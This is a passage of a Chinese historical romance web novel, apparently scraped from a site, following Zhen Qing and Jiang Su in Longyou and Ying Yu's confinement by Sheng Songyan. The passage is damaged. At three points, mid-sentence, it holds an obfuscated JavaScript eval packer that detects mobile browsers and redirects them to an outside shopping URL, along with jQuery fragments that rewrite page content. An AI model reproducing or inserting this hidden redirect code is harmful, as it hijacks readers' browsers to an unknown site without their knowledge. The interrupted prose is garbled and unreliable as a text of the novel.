薄映禾道:“来听的性子看似温和,实则同你一样偏执,即使万般都是错,他大概也会一直走下去,到那时候你仍要棒打鸳鸯,你可就是个恶人了。” “那你觉得我是个好人吗?”符生枝拉过薄映禾的手腕,深深望着她,又哑声喊她,“薄映禾。” ...... 枕清掌心微微湿热,她知晓自己和江诉已经走远,身后再无旁人后,便将人拉近到自己身旁,道:“怎么不给我安排住处?难道又要与我同睡不成?” “有何不可?”江诉垂首,低声道。 “男未婚女未嫁,你这是要毁了我的名声啊。”枕清勾住江诉的脖颈,“江诉,你可真坏。” 江诉承认,声音低荡:“是,我很坏,不过是你先找我上你这条船的,总不好中途将人踹下去吧?” 许是因为喝了酒的原因,江诉脸颊微微泛着红,垂下的眼神迷离又炽热,枕清抬眼望进了这么一双漂亮深情的眸子中,恰似自己也喝了清冽香醇的桃花酿,令她醉的晕乎。 她的鼻息轻轻在江诉身上蹭了蹭,突然觉得这桃花酿变得更为醇厚,甚至有种苦涩回甘的感觉 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“为何一定要我想?”枕清扯了扯被咬破的唇瓣,独自往前走去,“这里可是大都督府,我与你最好还是安分些。我今日在吃饭的时候说了不好听的话,这位都督估计要不喜我好久,或许在明天给你另谋良人也说不准。” 江诉当即拉住枕清的手腕,停住她要往前走的脚步,江诉挑眉问道:“知道路吗?你就往前走?” 枕清两手一摊,理直气壮道:“自然不知道,你又不告诉我。” 江诉见她如此模样,突然在唇角勾出一抹无奈的笑,但因为牵扯到咬痕,又生生止住,那一抹笑意被心中的苦涩填满,变成了自嘲。 “你今日是故意的,故意在吃饭的时候说那些话,你到底想做什么?给他们不好的印象?还是说你不想嫁给我?”江诉俯身凝视她的双眸,无形传来一股压迫感,“明明是你把我拉上这艘船的,你现在要同我说你要下船,这不合适吧?枕清。” “我什么时候说我要下船了?”枕清感受到江诉的气息在耳边缠绵,“我只是想试探他们夫妻之间的关系,看起来是挺琴瑟和鸣的,不过那位都督夫人,我瞧着有几分古怪,她看到我的时候,似乎觉得难堪,甚至在暗自盘算什么,我不明白。” “想得这般细致,还真想当都督夫人?”江诉咬上枕清耳垂道。 枕清气极,不知道江诉还会这般乱吃飞醋,她脸上逐渐浮起薄怒,冷冽道:“我在和你商量正事,你在商量我?” “没有。”江诉正色道,“确实看着古怪,对你好像有几分不一样,不知道是探究还是在防备。” 枕清见人压根没醉的样子,调侃道:“方才故意咬我,是怕我中途下船啊,江诉。” 见人不答,她又道:“我来陇右本就是来嫁给你的。没有什么都督,更不是旁的人,是你江诉,也只有你,才能让我心甘情愿。” 江诉望着枕清,在这一瞬间,无数的情绪涌入心间,可在这么大片的冲击之余,更多的是苦味在回甘。 他仿佛到了灵魂出窍的一个节点,他颤着声问:“你再说一遍,你要嫁给谁?” 枕清一字一句,认真道:“我要嫁给你,江诉。” 江诉觉得自己今日这酒水喝得有些多了,醉得他晕晕乎乎,他还沉浸在喜悦中,枕清已经换了一个话题。 她问道:“不过我有一事想问,我不知你是否发现了陇右这边的消息传到长安有误?” “我知道。” “那你不同我说?” 江诉微微直起脊背道:“我也是最近才知道的,大概是他管控了所有送信的关口,生怕有一点问题就传回长安去,这样就不在他的预料和管控中。” 枕清警醒道:“那我们势必要改变这一局面。” “这不是有商道吗?”江诉轻笑道,“应钰行商的势力已经逐步渗透到了陇右,陇右需要发展,不会阻止应钰这举动。只是日后她要是来了,你势必少不了和她碰面。” “我知道了。”枕清望了望蔚蓝的天空,沉思道,“不过她当下应该是想拿下盐池,就是不知道她那边进行得怎么样了。” 56. 月坠云披压青枝(七) 碧空如洗的上空,洛阳城内的信鸽放出了百余只,只为了关注一个人的行踪。 洛阳城内新来了一位县令,据说是今年的状元郎,邻里街坊津津乐道。 春生秋杀,风刀霜剑。 洛阳郊外的小路,蜿蜒泥泞的路面被一层水色覆盖,难以行走。应钰的身形干脆利落,似无察觉般面无表情地朝前走去,即使风雨冷到骨子里,也没发出一点声音。 身后落下几尺远的京墨和天冬面色惨白,趟过一次次污水,加上接连几日不曾好好休息,早已体力不支,冷水打湿了衣服,又紧紧贴在皮肉上,冷得发颤,上下唇齿不由自主地磕碰在一起。 仔细听去,还能听到牙齿在剧烈打颤。 应钰闻声停下来动作,在脚底漾荡的水声圈起一层层涟漪在此刻微停,她并未回头,而是抬头看向黑云密布的天空。 今日便是第三日了,他们不能再走了,大家都已经精疲力竭。 应钰说在此地停歇一会,不出片刻就听到许多的马蹄声在夜色中穿梭而来,踩踏迸溅的水花仿佛雷鼓声敲在她的心头上,她升起了前所未有的平坦。 今夜本就下了一场急雨,这时,天空又突然下起了朦朦胧胧的雨丝,轻飘飘地搭在面颊上,起了几分痒意。 青黛虽然不知道应钰在躲着谁,但看样子是一个极难对付的人,她注意到应钰的目光,不知道为何,总觉得有些奇怪。 应钰恰似放弃了挣扎,站在原地未动,在下一瞬间,抬眼看向在拐角处已经出现在眼前的人,心中那块大石切切实实压了下来,压得她有些喘不过气来。 看清来人的青黛和应钰大有不同,青黛如同被一桶冷水从头浇灌到脚步,遍体生寒。 应钰竟然躲着曾在阙口救下的那位小郎君? 为首的盛松言坐在高大白毛烈马上,身穿华贵精秀的紫色便衣,衣领绣着细腻的银色纹理,手腕上的护甲在月色的照耀下,泛起冷色的白光。 盛松言居高临下地看着他们,神情如同冷冽刺骨的寒冰,又像是即将崩塌的雪山,仿佛在顷刻间覆盖消亡。 这种冷意,大抵是因为应钰躲了他三日,而他也找了她三日。 不知道为什么,盛松言明明已经封锁了消息,应钰还是听到了风声绕道,不前去洛阳。 他在洛阳城里等了两日,迟迟没见到应钰,当即发觉出了问题。令他没想到的是,应钰底下的人脉和势力远比盛松言所想的要更多、更厉害些。 盛松言下了马,不急不徐道:“躲了三日,今日总该能跟我回去了吧,应钰。” 应钰听着盛松言踏着湿漉漉的水渍走来,脚底荡出的波纹在月光下像是一串又一串的银色手铃,她忽然有一种想往后退的想法,可是被心里的某根东西拉扯着,又叫她动弹不得。 应钰见他目光沉沉,凭借薄稀的月光对她上下扫视一番,似乎察觉没有受伤,从而松了一口气。 盛松言抬手轻轻碰上应钰的面容,应钰眼皮一跳,她感受到盛松言冰冷的手指在她脸上游走,手中的动作越发浓重,她别过脸,声音轻轻地、略有哀求道:“放过我吧。” 盛松言闻言,心仿若被针尖刺得钝痛,触碰的手瞬间落了空,他失神地看着应钰被打湿的秀发,露出瘦削的侧脸,冷漠又淡然。 晚秋的水很冷,即使被雨丝打在身上,他似乎也没察觉到冷意。盛松言没有答应,他缓缓收了手,声音是不容置疑的语气:“跟我回去。” 应钰回看那张脸,一如往日,可又像是有什么东西在颤动,在那坚不可摧的禁地,摇摇欲坠。 今夜的天色着实不好,孤风低沉地吼叫,肆虐在林间小路,胡乱吹刮在身上、脸上,衣袂在翻飞中猎猎作响,如同握着最尖锐的刀锋,刺穿严严实实的衣襟。 应钰知道自己无法逃脱,而天冬和京墨他们也急需休息,她自己也想坐下来跟他好好谈谈,千言万语变成了一声妥协的“好”字。 盛松言重新坐于马上,伸手想让应钰与之同乘,应钰轻轻瞥向他那双骨节细长的手指,下意识伸手将要覆盖其上,在触碰之际,她突然回神,正要缩回自己的手,不料盛松言看穿他的想法,立即握住她的手,将人带上自己所乘的马匹上。 应钰当即要挣脱,一只节骨分明的大手按住了她的动作,从而附在腰间,将人紧紧禁锢在自己怀中。 盛松言附在她耳畔道:“天黑,路滑,就这一会,你也不愿意吗?” 应钰看着前方一片漆黑,顿时没了动作。 回去的路上,雨势逐渐变大,两侧的黑色枯木枝在风雨中吹吹晃晃,时而从远处黑天慎泌出的紫色闪电与低雷,马蹄溅起泥泞的土地,迎面的寒风如同刀子刮在脸上。 应钰脸上的湿发贴合在脸颊上,那双清澈坚毅的眸子逐渐染上深色,精致的下颌线在微微上抬划出一个弧度,声音裹挟冰冷的雨丝:“盛松言,你不会真的不记得上一世的事情了吧?” 应钰回头看到那双压抑着痛色的双眼,又无视般朝前看去。 即使今日把她困在身前,但是日后她依旧有能力逃脱。 她手底下有生意,心中有好友,有师傅,没空单独陪盛松言一人玩耍。只是她没想到回到了洛阳,盛松言做得如此过分。 她真的被盛送松言困住了。 她像是一只鸟,被盛松言装进了鸟笼里,没办法展翅高飞。 盛松言来到洛阳,算是新官上任三把火,才坐在这个位置几天,接手的事情令他忙得团团转,真正歇下来的时候,他也已经把应钰困在府中大半个月了。 待在府中的日子,应钰一直想要找盛松言聊一聊,可是一直没有机会。 只是每晚,她都能听到她的屋子被人推开的声音,然后那人轻手轻脚地爬上她的床,坚硬的胸膛抵在她的后背,抱着她安稳入睡的时候,她知道自己对盛松言一直是心软的。 看到他一直忙上忙下,好不容易有休息的时间,能这么安稳地睡着时,她也不去打扰。她僵硬着脊背随着时间慢慢松弛下来,竟也就着盛松言的怀抱睡着了,就如同上一世那般。 可是他们都知道,他们始终是回不去了。 盛松言一直都很忙,可是应钰知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665348|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来的几天,盛松言只是装作很忙,大抵是害怕她说出什么要离开或是伤害他的话,每回都是在夜里偷偷摸摸溜进她屋内。 应钰并没有惯着盛松言,她的声音很轻,轻到有些无力气:“这样有意思吗?你觉得你这样就能困住我一辈子?盛松言,你变得好讨厌,上一世的你还会说天高云阔,我是自由的,你任我去往,而你会永远站在我身后,现在呢?现在到底算什么?我是你的金丝雀吗?” “今时不同往日,不可同日而语。”盛松言偏执道。 应钰扯了扯唇:“那是你变了,还是我变了?” 盛松言不敢看应钰的眼睛,他垂眸低声道:“我们都变了。从前我敢那般说,是因为你还爱我,天高海阔,你心里始终有我的位置。现在我不敢这般说,是因为我知道,我一旦说了,你一定离我而去。” “所以,你要困住我到什么时候?要到我死了吗?”应钰实在有些疲惫,“你真的好不顾及我的感受,我底下还有那么多生意,那么多人需要我养活,你这算是什么意思?” 盛松言见应钰眸光越来越暗淡,他突然感觉到后怕,焦急解释道:“我已经把青黛和两个昆仑奴放走了,她们会安排好你手底下的事情,如果你真的需要,很多事务你在府中也可以解决,也可以出府,就是不要出了洛阳城。” 应钰只是淡淡地看着他,没再说话。 这日后,应钰吃的越发少了,甚至有绝食的迹象。盛松言听到这话,知道这件事如论如何都不能再进行下去。 应钰坐在秋千架上,抬手挡住头顶的烈阳,即使盛松言站在她面前,她也一言不发,甚至连眼神都没停留在盛松言身上。 盛松言端着一碗白粥,舀一勺子递在她唇瓣,应钰眼珠慢悠悠地看着他,又轻飘飘移开。 知道喂不进去,盛松言只好放下碗,诱哄道:“我知道枕沿溪,她没有死,只要你喝了这碗粥,我就告诉你。” 应钰原本暗淡无光的眸子突然亮了一瞬,可她觉得这是盛松言在诓骗她,她并没有信他,盛松言接着道:“我曾在长安城里看到过她,我没看错,因为上一世你死的时候她曾来过扬州,替你报过仇。枕沿溪还没死,难不成你就要先死了?你想要遍地都是你的人脉,不就是为了能在日后助枕清一臂之力?” 应钰微微张了口,发出一道痛到极致的嘶哑声,她脸庞立时挂起两行清泪,“啊啊”地两声低低干嗷,仿佛有人将她一片片撕裂,又一片片缝补。 她用力地锤了锤自己的胸膛,可是无论如何都缓解不了心里如同刀绞的痛楚。 一声、两声,怔然入耳。 盛松言当即握住应钰的手,拉入自己的怀抱中,他拍拍应钰的脊背,如同对孩童般的诱哄道:“不痛,不痛。” 应钰被禁锢在盛松言的怀抱里,动弹不得。 可是她觉得自己每一处地方都好痛,痛到她快呼吸不上来,也痛到她只能留下眼泪去缓解。 枕清没死,她为什么不告诉我? 盛松言,你又要把我困到什么时候? 她真的,好痛又好恨。 57. 月坠云披压青枝(八) “郁极乃发,待时而作。”[1] 老郎中哀叹道:“小娘子七情内伤,脏腑气机失调,心窍闭塞,这是忧思过甚,哀思成疾所致。我也只能开几味药让小娘子好好调理,切勿再伤心动气。” 盛松言点头说自己知晓了,待人走后,盛松言走前。 应钰偏过脑袋,不去看他,“你家中长辈不喜欢我,甚至联合别人杀了我,你让我怎么和你一起?盛松言,你想让我活着,你就应该放过我。” 盛松言哑着声问道:“是不是家中长辈同意了,不再阻碍你,你就答应我?” 应钰眼尾落下一滴泪,如实道:“我不知道。” 这日后,盛松言不再来应钰的屋内,一日复一日,盛松言在好似真的妥协了,即使应钰踏出了院子、府门,也没有人出来阻拦她。 某一天的万里晴空,应钰穿戴好衣裳,第一次走进洛阳城内的街道,虽不及长安东西两市热闹,却也是同样地络绎不绝。 应钰走近了一间小馆,要了一壶酒水,就坐在窗户边望着络绎不绝的人流,她静静地看着,从早到晚,这群人流仿若变成了一条蜿蜒长河,生生不息。 当下的她必须要振作,或许真的如同盛松言所说的那样,枕清还活着,只是在这个世上的某个角落里,正布局自己所想要的事情。 她从商这条路一直都和枕清联手,不仅在长安分布众多,远到各个州县都有自己的自己的人脉。 枕清需要的,她会全部都给。 可是枕清真的活着,为什么不告诉她,为什么一直不来找她? 那么,枕清一定是有什么苦衷,有难言之隐,现在的自己绝对不能自乱阵脚。 之前枕清曾答应过她,如果不是舅父先朝她动手,那么她也一定不会对舅父动手,及笄礼那一出,应该是真的有内情,到时候再问一下舅父事情真正的真相。 既然现下已经到了洛阳,不如先逐步将盐池拿下,再谈及其他的。皇家盐商虽好,但现在的她毕竟是后起之秀,朝中的局势并没有完全偏向她,而她在朝中势力更是单薄,唯有一个禹王舅父而已,舅父和太后不合,更不会同意。 倒不如转向河东盐池。 河东盐池虽然是天然物产,靠近长安,都会把它当作宝贝好好守护,依据常理均衡地补给百姓。 应钰若有所思地想着,听到洛阳有一处草地,这一带土壤潮湿,草原广阔,尤其是晋西县南二十里处的对泽,为一片面积很大的低洼地区,水草丰美,景色宜人,是畜牧的理想场所。 应钰今日很晚才回去,原本想回去好好休息,没成想看到了一直等她回来的盛松言,她原本想略过他走过去,盛松言当即拉住了她,说:“我们好好聊聊吧。” “聊什么?我们再无可能,只要我见到你母亲一日,见到你族中长辈一天,我都忍受不了!”应钰冷着脸甩开他的手,“扬州县令是我下的局,是我亲手把他们送入牢狱之中。我没有报复你盛家,是我念及之前与你的情谊!盛松言,你当真以为我不会对盛家动手吗?” “既然你这么恨,那你来报复盛家,来报复我吧!”盛松言站起身逼近她道,“你怨我也好,恨我也好,我都接受,只是你不要这样伤害自己的身体,或者是不理我。” 他这话说得委屈,被今夜的冷风一吹,好似更显凄冷。 应钰却似毫无感觉,她的声音裹挟在丛丛簌声里:“如何报复?难不成让你母亲去死?这般大逆不道的事情,你不会做,我也累了,我不想报复你们,我就想我们从此各不相干。” 说罢,她转身进了屋。 昨日吹了一夜的冷风,应钰头疼欲裂,又贪睡了半日。 当她醒来的时候,她已经在一辆宽敞明亮的马车内,身旁坐着盛松言。 应钰不知道盛松言到底想做什么,但她也沉默着没问,无论如何,她都不想再和盛家牵扯到瓜葛。 又来到熟悉的盛府,应钰觉得心里不舒服,哪里都不舒服。 盛母见到盛松言归来,脸上笑得灿烂。她一直都觉得自家孩子争气,之前在阙口将山匪骗得团团转立下军功,本就有不少面子,更是有不少世家大族上门送礼,祝贺她家孩子的成就。 而今年命中高榜,当了个全天下的状元郎,让扬州城的盛家更是风头无两,霎时羡煞旁人,给他们全族人都挣了好大一个面子!! 回来是很高兴的一件事,唯独见到应钰的时候,她的唇角微微一滞。 她曾见过这位小娘子,虽然不是凭一己之力扳倒扬州县令,但是也是大有来头,实力不容小觑。 盛母虽然想念孩子想念得紧,对应钰和盛松言的关系不大分明,猜测着应该是问扬州县令的事情所以走得近些,于是提起来的心微微放下,笑着同应钰打招呼:“应小娘子,近来可好?怎得和微之一同回来?” 应钰唇角露出一抹冷笑,毫不客气道:“有劳挂怀,托盛县令的福,这些日子过得着实有些凄苦,倘若盛大娘子能够将自家孩子多加管教一些,再问我好不好,恰似更为合适。” 凄苦? 盛母眼角上抬,睨向一声不吭的盛松言身上,又默默转了回来。 自是知道应钰势力大,盛松言又是才坐上洛阳县令,盛家最好别与这位小娘子为敌。 她笑笑,开解道:“怎么了?是微之惹得小娘子不高兴了,到时候我再说他,小娘子莫要真的责怪才好。” 盛松言自然也听到了她们的对话,最后把应钰带到一处僻静的院子,勒令小厮盯着,旁人也靠近不了,才对应钰道:“你在这里等我,我去一会就来。” 应钰压根不关心,也不知道盛松言演的是哪一出,居然丢下了洛阳来了扬州城,她冷声道:“随你。” 盛松言轻松一笑,唤了盛母,朝另一方向走去。 今日盛府可是热闹,方才盛母还邀请了许多族中的长辈来府中,有盛松言状元郎和洛阳县令的头衔,盛家已经到了举家发达的地步! 况且扬州自是比不得洛阳,这般急匆匆地归来,兴许就是叫上他们一同前去洛阳也说不准,毕竟这样离盛松言又近又方便。 就是不知道这两日收拾收拾能不能拾掇地出来。 越想,盛母便笑得越是开怀。 盛松言自小就十分听话乖巧,果真是儿大了,也就轻松了。 盛家府门的格局和一般的江南水乡相似,有漆红的长廊,两侧是假山鱼池,再往前走,就是一处空地的花园。当初建造这座府邸费了不少的功夫,亭台楼阁,水榭楼台,又有成片的茵茵绿植,恰似穿梭在山野之中。 不过这个方向是朝祠堂去,盛母咂摸出古怪来。到了祠堂门口,没想到盛松言竟然早早叫了家族的人一同来了盛家祠堂! 与此同时的另一边。 应钰默默地看着院子里的一切,或许是盛松言怕她触景生情,让她留在一座偏僻的院子内。可是盛松言不知道,这个地方对于应钰来说并不陌生,她曾在这里养过几只小兔子,因为盛母的不同意,她也就一直放在这里,竟也没叫人发现。 她缓缓走上前去看那一片光秃秃的草地,没有被开垦过,又加之是临近冬日,更是没有一点生机,她又走到一处小亭下,小厮跟随她的动作一齐前往。 小厮小心翼翼道:“感觉小娘子对这里十分熟悉。” “是吗?” 应钰在小厮探究地目光下,接着道:“我也觉得这里让我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665349|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉到十分熟悉,可能是扬州城太美,让我生出了乡情。” 应钰在这里等了将近两个时辰,盛母匆匆忙忙地跑了过来,突然跪在应钰的脚边,应钰当即一怔,下意识想扶对方起来的手凝滞在半空中。 她不动声色地又坐了回去。 盛母泪流满面,凄苦道:“应小娘子,求求你劝劝我儿吧!他居然说要和盛家分离,甚至还要将自己逐出族谱!这是多么大逆不道、倒反天罡!” 盛母逐渐崩溃,面上充满了不解和无措,她因为哭泣,说话变得极为痛苦悲凉:“松言让我向你道歉,我也不知道我做了什么事情令小娘子不高兴了,求您不要和我这个妇道人家计较,小娘子,请你受我一拜,我也求你放过我家儿吧,他怎么能把自己逐出盛家族谱啊!” 说完,她当即对应钰磕了一个响头。 声音里着急和无助,任谁听着都觉得可怜,可是......她是应钰,是被害死的应钰。 应钰手指轻颤。 原来盛松言来盛家就是为了搞这么一出,倘若这件事传出去,不体面的是盛家,也是刚做洛阳县令的盛松言。 这件事若是成了,便是百害而无一利的事情,倘若日后有人要是上奏弹劾盛松言不孝,大抵真的能成为落人闲话的把柄。 这也就是盛母这么苦苦哀求的原因。 应钰冷笑道:“这关我什么事?你求的人不应该是我。” 盛母真的慌了,她道:“求求你了,应小娘子,微之是在乎你的,他现在在祠堂被打的奄奄一息,倘若再这么下去,真的要死了!” 盛家是有家法。 “动家法了?”应钰问道。 盛母仓皇点头。 应钰面色大惊,怒斥一声“疯子”,她当即站起身,不料被一旁的小厮挡住,小厮冷漠道:“县令说,没有他的吩咐,您不可以离开这里。” 郁母见状,当即撞开小厮,嘴上嘟囔道:“县令县令,你家县令都快要死了,还县令呢!” 应钰没有理会他们两人,提起裙摆朝祠堂跑去。 此时的祠堂围堵了许多人,各站两端。 应钰没有看到盛松言的面容,只有血肉模糊的后背,她呼吸忽地变得沉重,又逐渐轻飘,她看着木棍落在他已经弯曲的背脊,突然觉得自己的心也在跟着纠疼。 怎么会不跟着疼呢? 他曾经也是她最爱的人啊。 应钰走前,所有人看着她靠近盛松言,却没有阻止。 他们都是看着盛松言长大,知道他优秀又省心,自然心疼他,最后第一百棍无论如何都打不下去了。族长扔下藤条,颇有怒其不争的意思:“你啊你,你可是我们盛家里最争气的人!怎的会如此冥顽不灵!” 应钰缓缓蹲在盛松言面前,捧着他苍白无力的脸,不知道该拿他怎么办了。 “这就是你挽留我的方式?”应钰忍不住流下泪,颤着声道,“你让我别伤害自己的身体,你却拿你的命来赌我的心软。” 盛松言惨淡一笑,拿下她留在自己脸上干干净净的手,问道:“是啊。那我赌赢了吗?” 应钰点头,生涩道:“试试,盛松言,我们试试。” 盛松言突然笑了,即使身后扯着剧痛的伤口,他依旧笑得灿烂。 他颤颤悠悠地站起身,拿过小厮递来的披风,把自己的伤口遮掩得干干净净,用尽全身力气,抬手轻轻擦掉应钰的泪,温柔道:“现在我们可以一起回家了。” 应钰曾幻想过无数次盛松言带着她私奔的样子,却没有想过他会跪在长辈面前请求同意,即使被藤条抽的满身是血,也要遮掩的干干净净,然后牵着她的手说:“现在我们可以一起回家。” 58. 围幅高深春昼深(一) 月明星稀,烛光通明。 枕清住在都督府的一处偏僻院子,安静空旷,鲜少有人打扰。 可这两日总是有诡异的声音在半夜响起,枕清起初没在意,但这样的声音实在来得太过持久频繁。 今夜,那道声音又来了。 枕清不动声色地坐在桌案前,半夜之后,门窗被风忽地吹开,屋内烛火猛然被熄灭。 她抬眼看见一红一白两个幡子,互相击打,飘飘然在院子的四周转悠。 枕清心中升起疑虑,过一瞬,如下决心,站起身和正走出的仇羌打了个照面,两人眼神交汇,略微颔首,注意四周的动静。 过了许久,没有发现任何异动之处,他们逐渐松懈,恰在此时,突然有一个人从空中跌下来,身子与头分开。 仇羌面色大惊,拉过枕清离远了那具尸体,枕清被突来灌来的冷风呛得轻轻咳嗽,脊背因为胸腔震颤微微弯曲,她抬眸看向那具尸体。 枕清要走近查看,仇羌拉住她,枕清并不害怕,而是摆摆手,仇羌依言停了动作。 这是一具女尸,并没有什么特别的,唯独那双空洞的双眼格外瘆人。 枕清盯着那双血红乌黑的窟窿,几乎在这一刻寒逼肌骨,她瞬间明白过来,这是王闻礼给她的“大礼”。 她当即站起身,伸出食指,轻轻敲打在脑袋上,既然这样,王闻礼势必对都护府十分熟悉,而且有本事让人毫无察觉地把尸体丢了进来,王闻礼在庭州涉及的势力颇深。 “把尸体带出去,小心点,别让人发现了。”枕清冷静道,“前些日子你我杀了徐瀚,他这是不满呢,这段时日你自己也当心些。” 仇羌漂亮的眸子停留在枕清身上,慢悠悠道:“知道了。”随后利落地拿起袋子把尸体带走了。 初见仇羌时,枕清从未想过仇羌居然会这么地靠谱,竟然还有些许的不真实。 枕清见没了动静,便回到屋子。今夜终于安静下来了,枕清躺在床上,看着一旁的纱帐,陷入沉思。 江诉在庭州有自己的府邸,而枕清并未和江诉成亲,自然不可能先住到江诉的府邸内,这几日便一直住在都护府。 卷柏也被江诉使唤来陪枕清,卷柏这才明白当初要来陇右时,江诉所说的要答应他的两件事,陪枕清就是其一。 不过卷柏也挺喜欢枕清,自然是乐意的,就是这边着实有些偏僻安静。 而枕清也不是个话多的人,她正低头看着陇右的布局图,卷柏则是百无聊赖地坐在位置上看着枕清在每一个关口圈了位置。 她忽地一转头,瞧见薄映禾突然来了这里,卷柏当即跳了起来,提醒枕清道:“都督夫人来了!快把东西收起来!” 枕清弯起唇瓣,抬眼看到正在走过来的薄映禾,当即合拢陇右的舆图,换了佛学的经文。 一套动作行云流水,游刃有余,丝毫看不出一点差错。 卷柏还未来得及惊讶,薄映禾便已经迈着步子走了进来。 “今日城中热闹,我不请自来,想邀北小娘一同去玩,不知可否赏个脸?”薄映禾温和笑笑,垂首朝枕清桌案探去,“竟是在写经文,看来是我来得不巧了,打扰你了。” “夫人万福。这说的哪里话,来了就是巧,怎么会有不巧这回事?”枕清当即停下笔,行了万福,继而道,“我在这抄写经文,无非就是太过无聊,打发时间罢了,姊姊说城中热闹肯带我一起去体会庭州这风土人情,我倒也应该说声谢谢,多谢姊姊。” 不知道枕清哪句话让薄映禾微怔,薄映禾过了好一会,才温声道:“北小娘不必客气,你是否要换身衣服再出门?” 枕清一直待在大都督府中,也不外出,穿着都依舒服为主,她望了眼薄映禾。她今日梳了高髻,左右两颊绘有精致的如意纹,眉中有钿花,肩披绛红色印花罗,上身穿绿色窄袖短襦,半臂面料是当时十分贵重的联珠兽纹锦。 她心思略远,笑着摇了摇头道:“不换了,我向来喜欢舒服的。” 听到这话,薄映禾也不强求。 卷柏不愿意跟着她们两一同出去,转头去了牧青那边的营帐。 已是深秋,都督府内种着几颗绿植都已经凋谢殆尽,不过因为枕清和卷柏住了进来,倒是添了几分活色。 枕清跟随薄映禾出门,今日的庭州确实热闹,大概是快要接近年关,集市上的气氛活络了起来,不仅有斗鸡赛马、还有小孩童舞于竿杪,剑舞等,五花八门、各式各样的东西都彰显出来,更有不少的胡人面孔。 枕清看着人头攒动,心想着还好穿得够轻便,不过一旁薄映禾并未受衣服影响,身轻如燕地跟随着她一同穿过人群,从头到尾都没有落在她身后,一直跟在她身侧。 这样的感觉,就好像时时刻刻紧贴关注着她。 说到底,枕清终归是不喜欢这样的感觉,她没管身旁的薄映禾,反倒是一直穿梭在人流里,上一瞬还在看喷火的杂技表演,下一刻就去了千奇百怪的面罩商贩面前。 她刚拿下一个戴在脸上,一只纤细的手递了几个铜板给老板,指了指枕清,笑着说:“买了。” 枕清的面具没有摘下,她偏过脑袋看向薄映禾,唇瓣微微弯起道:“多谢,那我就不客气了,我还要那串糖葫芦。” “好。”薄映禾朗声应道,走过去,摘下一串递到枕清手中。 枕清再次道谢,若有所思地看向周围道:“这段时间,庭州都是这么热闹吗?” 薄映禾回答:“是啊,快要年关了,长安里的胡商要回波斯、天竺去,必须要经过这里,他们从陇西开始,一直到陇右各个州县,直达波斯。” 薄映禾表情温和,又问道:“怎么?渭州没有吗?” 渭州隶属陇西,方才薄映禾说从陇西开始,那么身为渭州人的北肆姝,怎么会不知道这种事情? 可这要是薄映禾故意说假话来套她的话,说出来岂不是更为露馅? 枕清望着薄映禾温柔的面容,不自然地升起几分担忧,她窥探到自己斟酌的神色落在薄映禾的眸色中,枕清呼吸一滞,她强作镇定,不紧不慢地偏过脑袋。 薄映禾恰似毫无察觉般,微微挑起眉眼,目光依旧落在枕清身上,似如轻飘的鸿毛,又像沉重的泰山。 枕清心思暗动,唇瓣却下意识地扬起,摇摇头道:“我也不知道有没有,我常年体弱多病,在府中娇养数十载。实在是不怕姊姊笑话,外面究竟是什么样的天地,我着实是不知道,就连这样走在街上,也都不曾有过。” 没有出过门,无论有没有,抑或是知不知道,都合情合理。 况且,她不相信薄映禾还会派人去渭州看看北肆姝究竟有没有踏出府过。 薄映禾没探究真假,只惋惜叹道:“北小娘子看着确实体弱,好似是生了一场重病。”薄映禾轻飘飘又道,“是我记错了,渭州靠近关内道,的确没有集会,他们都是完全进入陇右后才会举办这些。” 枕清不动声色,淡淡看了一眼薄映禾,又轻轻垂眸。 上一秒刚说出口的事情,在下一秒就能记得起来,她不信。这一定是为了套她的话才问的,好在她方才没有顺着薄映禾的话回答,不然真的掉入她的陷阱中。 “那真是凑巧了。”枕清道。 薄映禾平静如常:“你在陇右有没有看上哪家小郎君?” “有啊。”枕清朝她调皮一笑,“这不是你们都知道的事情吗,是江诉。” 薄映禾思量道:“来听么,他确实是个很好的人,但是难以把控,你有信心吗?” 枕清没瞧旁边的薄映禾,她大步朝前走,又放缓脚步,声音带着少女灵动与不解:“我为什么要把控他?我要和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665350|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他相爱相亲,这样不好么?” 薄映禾看着她:“好啊,如果可以的话。” 什么叫如果可以的话? 枕清微微挑眉,她觉得薄映禾好奇怪,她听不懂这人说得话,当下只觉得薄映禾心思深沉。 她能感觉到薄映禾与符生枝是同气连枝的,倘若符生枝做什么,又或者出谋划策,其中一定有薄映禾的手笔,或者是薄映禾所想要的结果。 枕清试探道:“姐姐这么问我,是不是有更好的小郎君?” “没有,江诉是最好的。”薄映禾直白道,“不过有点快。” 如果枕清没有记错的话,江诉大概是快要十九了,而她也快要十六了,这样的年纪虽说不大,但也绝不至于太小,更何谈有点快? 枕清不紧不慢地开口道:“江长史都要十九了,也可以娶妻了,哪里快了?” 